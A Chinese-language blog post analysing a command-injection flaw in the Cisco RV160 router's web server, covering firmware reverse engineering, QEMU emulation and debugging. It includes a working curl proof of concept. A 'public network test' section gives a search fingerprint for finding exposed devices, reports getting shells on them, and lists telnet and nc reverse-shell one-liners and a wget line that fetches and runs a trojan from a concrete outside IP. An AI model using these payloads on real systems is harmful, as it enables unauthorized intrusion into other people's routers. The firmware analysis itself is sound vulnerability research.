Cisco Rv160 远程命令执行漏洞分析

Cisco Rv160 远程命令执行

0x01 漏洞详情

https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv160-260-rce-XZeFkNHf.html

0x02 固件解包

解开固件包,定位到mini_httpd 的web 组件

image-20211202102701684

arm 架构

image-20211202102835220

根据httpd 检索出了两个文件。

image-20211202103921752

0x03 mini_httpd 分析

问题1

在进行IDA 分析cisco 160W 0.1 版本的mini_httpd 时,遇到了如下问题,但是并不影响反汇编F5。

根据网上查阅的信息来看,这是因为栈帧不平衡,需要手动调整栈帧。

https://www.cnblogs.com/DorinXL/p/13657972.html

https://blog.csdn.net/feibabeibei_beibei/article/details/85238676

image-20211202110226642

mini_httpd 分析

分析这个漏洞的时候,我并没有很仔细的查看漏洞相关分析文章,而是直接解开固件,进行分析,抱着一种如果当时是自己在分析这个固件,应该会从哪个方面入手的想法,是否可以发现漏洞点和漏洞触发的方式。

接下来我将分享我对这个漏洞分析的逻辑与思路,首先我将mini_httpd 组件放入到IDA中,在逆向分析的过程中,由于对mini_httpd 源码已经大致看过了,因此,我对mini_httpd 组件的中的反汇编代码依次进行分析。

根据上面的截图的 _libc_start_main()函数的定义,可以确定 mian 参数是 mini_httpd中的main 函数。

image-20211202144010024

根据mini_httpd组件中mini_httpd.c 的源码和本固件的mini_httpd 来对比,sub_11FA0() 函数就是mini_httpd.c 中的mian()函数。

进入到sub_11FA0()函数中,可以看到mini_httpd 的版本是1.27的。

image-20211202144838659

在函数的底部找到了处理 进程的 handle_request() 函数。

image-20211202223259036

进入到handle_request,我根据mini_httpd.c 的源代码对比反汇编出来的handle_request 函数进行比对,找出mini_httpd中开发者二次开发的代码。

image-20211202224312529

根据 mini_httpd.c 中的hand_request() 函数源码来看,mini_httpd 反汇编出来的代码并没有 do_dir() 函数。

在跟进了mini_httpd.c 中的do_dir()函数的代码后,do_dir()函数通过调用auth_check()函数处理当前访问的文件路径是否符合访问权限。

image-20211202230935935

进入到 do_file() 函数中,这个函数有两个要值得注意的点,首先在mini_http.c 源代码中,有一个auth_check()函数,该函数适用于对文件进行权限认证的函数,只有经过权限认证后,才能访问其他的文件,但是在Cisco RV160 的组件Mini_httpd的反汇编代码do_file()并没有这个函数,因此埋下了后面不需要认证即可出发漏洞的隐患。另一个是sub_1A58() 函数,这个函数在min_httpd.c中并不真实存在,因而这个函数是开发者二次开发留下的代码,传入dword_35164 的值作为参数。

image-20211202233311868

进入到sub_1AF58() 函数,该函数最终会将传入的dword_35164的值给v5, 然后将格式化的字符串调用system 函数进行执行。

image-20211206220714253

0x04 漏洞分析

根据前面的Cisco Rv160W 固件中mini_httpd和mini_httpd.c 源代码进行比对分析。在sub_1AF58() 函数中存在执行命令的漏洞,并且需要到达漏洞函数sub_1AF58(),函数的参数dword_35164 中要有 “ download/ “ 字符串,才能跳转到do_file() 函数

image-20211206222751530

接个根据参数往上一层追溯,该函数的参数dword_35164 中要有 “ dniapi/ “ 字符串,才能跳转到do_file() 函数,根据上面strncmp函数,可以判定参数的格式为”/download/dniapi”

char *strstr(const char *haystack, const char *needle) 在字符串 haystack 中查找第一次出现字符串 needle 的位置,不包含终止符 ‘\0’

image-20211206222553826

在dword_34F60 的值将赋值给dword_35164。

image-20211206223618352

而dword_34F60 的值则在如下的代码中进行解析,这个部分的代码在mini_httpd.c 中是一样的。

image-20211206223847690

接下来分析在sub_1AF58()函数中的漏洞点,其中dword_35180的值是Authorization的值,而获取的值中要包含 “ Basic ” 字符串。

image-20211206225203066

Authorization:

image-20211206225023028

0x05 环境搭建

首先查看文件系统的指令架构,文件系统位ARM

~/i/g/c/_/_/_/_/_/u/4/r/bin> file ./busybox
1
./busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped

配置qemu 之前的环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
tigerortiger@ubuntu ~> cat /etc/network/interfaces
# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
#up ifconfig eth0 0.0.0.0 up
#auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_maxwait 0

tigerortiger@ubuntu ~> cat /etc/qemu-ifup
#! /bin/sh
# Script to bring a network (tap) device for qemu up.
# The idea is to add the tap device to the same bridge
# as we have default routing to.

# in order to be able to find brctl
echo "Execute /etc/qemu-ifup"
#sudo ifdown eth0
#sudo ifup br0
echo "Bringing up $1 for bridge mode.."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "adding $1 to br0"
sudo /sbin/brctl addif br0 $1
sleep 2
tigerortiger@ubuntu ~> sudo /etc/init.d/networking restart
[ ok ] Restarting networking (via systemctl): networking.service.
tigerortiger@ubuntu ~> sudo ifdown eth0
Killed old client process
Internet Systems Consortium DHCP Client 4.3.5
Copyright 2004-2016 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/eth0/00:0c:29:e5:1b:a2
Sending on LPF/eth0/00:0c:29:e5:1b:a2
Sending on Socket/fallback
DHCPRELEASE on eth0 to 192.168.214.254 port 67 (xid=0x4c602cbd)
tigerortiger@ubuntu ~> sudo ifup br0
Internet Systems Consortium DHCP Client 4.3.5
Copyright 2004-2016 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/br0/00:0c:29:e5:1b:a2
Sending on LPF/br0/00:0c:29:e5:1b:a2
Sending on Socket/fallback
DHCPDISCOVER on br0 to 255.255.255.255 port 67 interval 3 (xid=0xd8f3411e)
DHCPREQUEST of 192.168.214.129 on br0 to 255.255.255.255 port 67 (xid=0x1e41f3d8)
DHCPOFFER of 192.168.214.129 from 192.168.214.254
DHCPACK of 192.168.214.129 from 192.168.214.254
bound to 192.168.214.129 -- renewal in 852 seconds.

image-20211207142457380

配置IP,保证qemu 和宿主机网络能畅通。

image-20211207143748443

把固件文件系统拷贝到qemu 中。

~/i/g/c/_/_/_/_/_/u/454748969 [1]> pwd
1
2
/home/tigerortiger/iot/gujian/cisco/_RV16X_26X-v1.0.01.01-2020-08-17-11-09-01-AM.img.extracted/_40.extracted/_fw.gz.extracted/_0.extracted/_openwrt-comcerto2000-hgw-rootfs-ubi_nand.img.extracted/ubifs-root/454748969
tigerortiger@ubuntu ~/i/g/c/_/_/_/_/_/u/454748969> scp -r ./rootfs root@192.168.214.130:/root/

挂载关键目录

mount -t proc /proc/ ./proc/

mount -t devtmpfs /dev/ ./dev/

挂载指的是将硬件设备的文件系统和Linux 系统中的文件系统,通过指定目录(作为挂载点)进行关联,而要将文件系统挂载到Linux系统上,就需要使用mount挂载命令。

mount 设备文件名 挂载点

chroot 出现了错误。

image-20211207173855519

chroot: failed to run command `./bin/sh’: Permission denied

解决方案

chmod -R 777 ./cisco_RV160

image-20211207173949545

启动mini_httpd.init 文件。

image-20211207201528596

#link
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/ # /etc/init.d/mini_httpd.init 
uci: Entry not found
Syntax: /etc/init.d/mini_httpd.init [command]

Available commands:
start Start the service
stop Stop the service
restart Restart the service
reload Reload configuration files (or restart if that fails)
enable Enable service autostart
disable Disable service autostart

/ # /etc/init.d/mini_httpd.init start
uci: Entry not found
ls: /mnt/configcert/confd/startup/: No such file or directory
use backup cert for mini-httpd ...
1 0 0 0
setsockopt SO_REUSEADDR: Protocol not available
setsockopt SO_REUSEADDR: Protocol not available
/usr/sbin/mini_httpd: can't bind to any address

根据执行mini_httpd.init 的报错信息来看,setsockopt()函数调用时报错,这个函数的定义如下。

定义函数:int setsockopt(int s, int level, int optname, const void * optval, ,socklen_toptlen);

函数说明:setsockopt()用来设置参数s 所指定的socket 状态

这里我们直接使用加载LD_PRELOAD 来进行hook,这里要注意的是hook和setsockopt一样的函数,包括名称、变量及类型、返回值及类型等。

查看mini_httpd 中setsockopt函数的定义

image-20211207215016628

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>

/* arm-linux-gnueabi-gcc -shared -fPIC hook_setsockopt.c -o hooksetsockopt */
int setsockopt(int fd, int level, int optname, const void *optval, socklen_t optlen)
{
return 1;
}

编译hook_setsockopt.c

tigerortiger@ubuntu ~/i/g/c//////u/4/rootfs>
arm-linux-gnueabi-gcc -shared -fPIC hook_setsockopt.c -o hook_setsockopt
tigerortiger@ubuntu ~/i/g/c/
/////u/4/rootfs> file hook_setsockopt
hook_setsockopt: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, BuildID[sha1]=7708ce4cab994360cc2082b5e82caf10f7ba881e, not stripped

启动 mini_httpd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@debian-armhf:~/cisco_rv160# chroot . ./bin/sh


BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash)

/ # ls
bin media root usr
dev mnt sbin var
etc overlay sys www
hook_setsockopt proc test_scripts
lib rom tmp
/ # LD_PRELOAD="/hook_setsockopt" ./usr/sbin/mini_httpd -p 8009
bind: Address already in use
/ # ./usr/sbin/mini_httpd: started as root without requesting chroot(), warning only

/ # exit
root@debian-armhf:~/cisco_rv160# ps -ef | grep "mini_httpd"
root 2606 1 0 11:42 ? 00:00:00 ./usr/sbin/mini_httpd
root 2608 2324 20 11:43 ttyAMA0 00:00:00 grep mini_httpd
root@debian-armhf:~/cisco_rv160# lsof -i:8009
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
mini_http 3222 root 3u IPv6 6465 0t0 TCP *:8009 (LISTEN)

image-20211208165707403

batch

ARM 汇编的NOP 指令是 mov r0,r0 。直接patch sub_1B5F0 为NOP, 这样就不会报错了,程序继续往下执行。

image-20211208104529045

image-20211208104402863

重新启动mini_http 组件,可以看到设备的访问界面了。

1
LD_PRELOAD="/hook_setsockopt" ./usr/sbin/mini_http_hook -p 9009

image-20211208171114599

0x06 远程调试漏洞

开启远程调试

1
2
3
4
5
6
root@debian-armhf:~/cisco_rv160# ps -ef | grep "mini_http_hook"
root 3351 1 0 20:32 ? 00:00:00 ./usr/sbin/mini_http_hook -p 8009
root 3354 2324 0 20:33 ttyAMA0 00:00:00 grep mini_http_hook
root@debian-armhf:~/cisco_rv160# ./gdbserver :1234 --attach 3351
Attached; pid = 3351
Listening on port 1234

远程连接

1
2
3
4
tigerortiger@ubuntu > gdb-multiarch -q mini_httpd
pwndbg> set architecture arm
The target architecture is assumed to be arm
pwndbg> target remote 192.168.214.130:1234

发送POC

1
curl -X GET -H 'Authorization: Basic O3RvdWNoIC90bXAvaGFwcHloYWNraW5nOwoK' -i 'http://192.168.214.130:8009/download/dniapi/

image-20211209223721558

断点到0x001b11c 处,可以看到我们拼接的字符串“ ;touch /tmp/happyhacking;”

image-20211209224214203

执行完了之后,成功执行命令。

image-20211209224458063

公网测试

公网设备指纹:在fofa上搜索 header=”frame-ancestors ‘self’ ‘unsafe-inline’ ‘unsafe-eval’; script-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’; style-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’”

经过测试,可以获取到shell。

通过telnet 获取shell
;telnet ip port1 | /bin/sh | telnet ip port2;

通过nc 获取shell,nc 没有-e 的功能。
;nc ip port1 | /bin/sh | nc ip port2;

通过木马程序获取shell

设备的指令架构为armv7L

;wget http://8.141.70.26:9008/chell_armv7L -O /tmp/qqqqq;chmod 777 /tmp/qqqqq;./chell_armv7L 8.141.70.26 9004;

缓冲区溢出漏洞分析

在handle_request 函数中有如下代码,获取cookies 的值

定义函数:int strncasecmp(const char *s1, const char *s2, size_t n);

函数说明:strncasecmp()用来比较参数s1 和s2 字符串前n个字符,比较时会自动忽略大小写的差异。

返回值:若参数s1 和s2 字符串相同则返回0。s1 若大于s2 则返回大于0 的值,s1 若小于s2 则返回小于0 的值。

定义函数: size_t strspn(const char *str1,const char *str2)

函数说明: 检索字符串str1中第一个不在字符串str2中出现的字符下标

返回值:该函数返回str1中第一个不在字符串str2中出现的字符下标

下图的代码的意思是,先判断字符串中存在“Cookie: ” 字符串,如果有,那就获取cookes 的值。strspn(s1+7,”\t”) 的意思是获取cookies 的值最后的下标。

image-20211210155658793

接下来看那个函数是用来cookies 的值。

image-20211210161633200

但是在哪之前,sub_169F0()函数,这个函数是用来判断当前请求的url资源内容是否需要登录才能访问。

image-20211212212120467

进入到sub_1625C函数中,a1 的值是cookies ,代码是判断cookies 不为空就进入到sub_16138函数。

image-20211212222952416

进入到sub_16138函数中。从这个函数中,可以看出来,这个函数是获取cookeis 的值中的sessionID 的值。

char *strstr(const char *haystack, const char *needle)** 在字符串 haystack 中查找第一次出现字符串 needle 的位置,不包含终止符 ‘\0’

char *strtok(char *str, const char *delim) 分解字符串str为一组字符串,delim为分隔符。delim 包含分隔符的C字符串。

返回值:该函数返回被分解的第一个字符串,如果没有可检索的字符串,则返回一个空指针。

image-20211212223526769

sub_15CE4()函数中,形参a2 指向空字符,所以其实最后就是未限制sessionID长度在strcpy时的溢出

image-20211212232211788

参考

Cisco RV160W 系列路由器漏洞:从1day 分析到0day挖掘

https://mp.weixin.qq.com/s/8qviTeiuJb5XU8jDdHMW8Q

bindiff 文件对比参考RX40 的文章

交叉编译出和这个固件相同的ARM EABI5。使用的交叉工具链为arm-linux-gnueabihf-gcc

https://blog.csdn.net/xukai871105/article/details/37345857

使用qemu chroot 进行固件本地调试

http://blog.nsfocus.net/qemu-chroot/

mount 挂载的相关资料

https://www.cnblogs.com/sparkdev/p/9015312.html

ARM 汇编NOP指令的二进制

https://blog.csdn.net/zhangmiaoping23/article/details/43309455

curl 详解

https://www.cnblogs.com/aftree/p/9293071.html


Cisco Rv160 远程命令执行漏洞分析
https://tig3rhu.github.io/2023/12/15/Cisco Rv160 远程命令执行/
Author
Tig3rHu
Posted on
December 15, 2023
Licensed under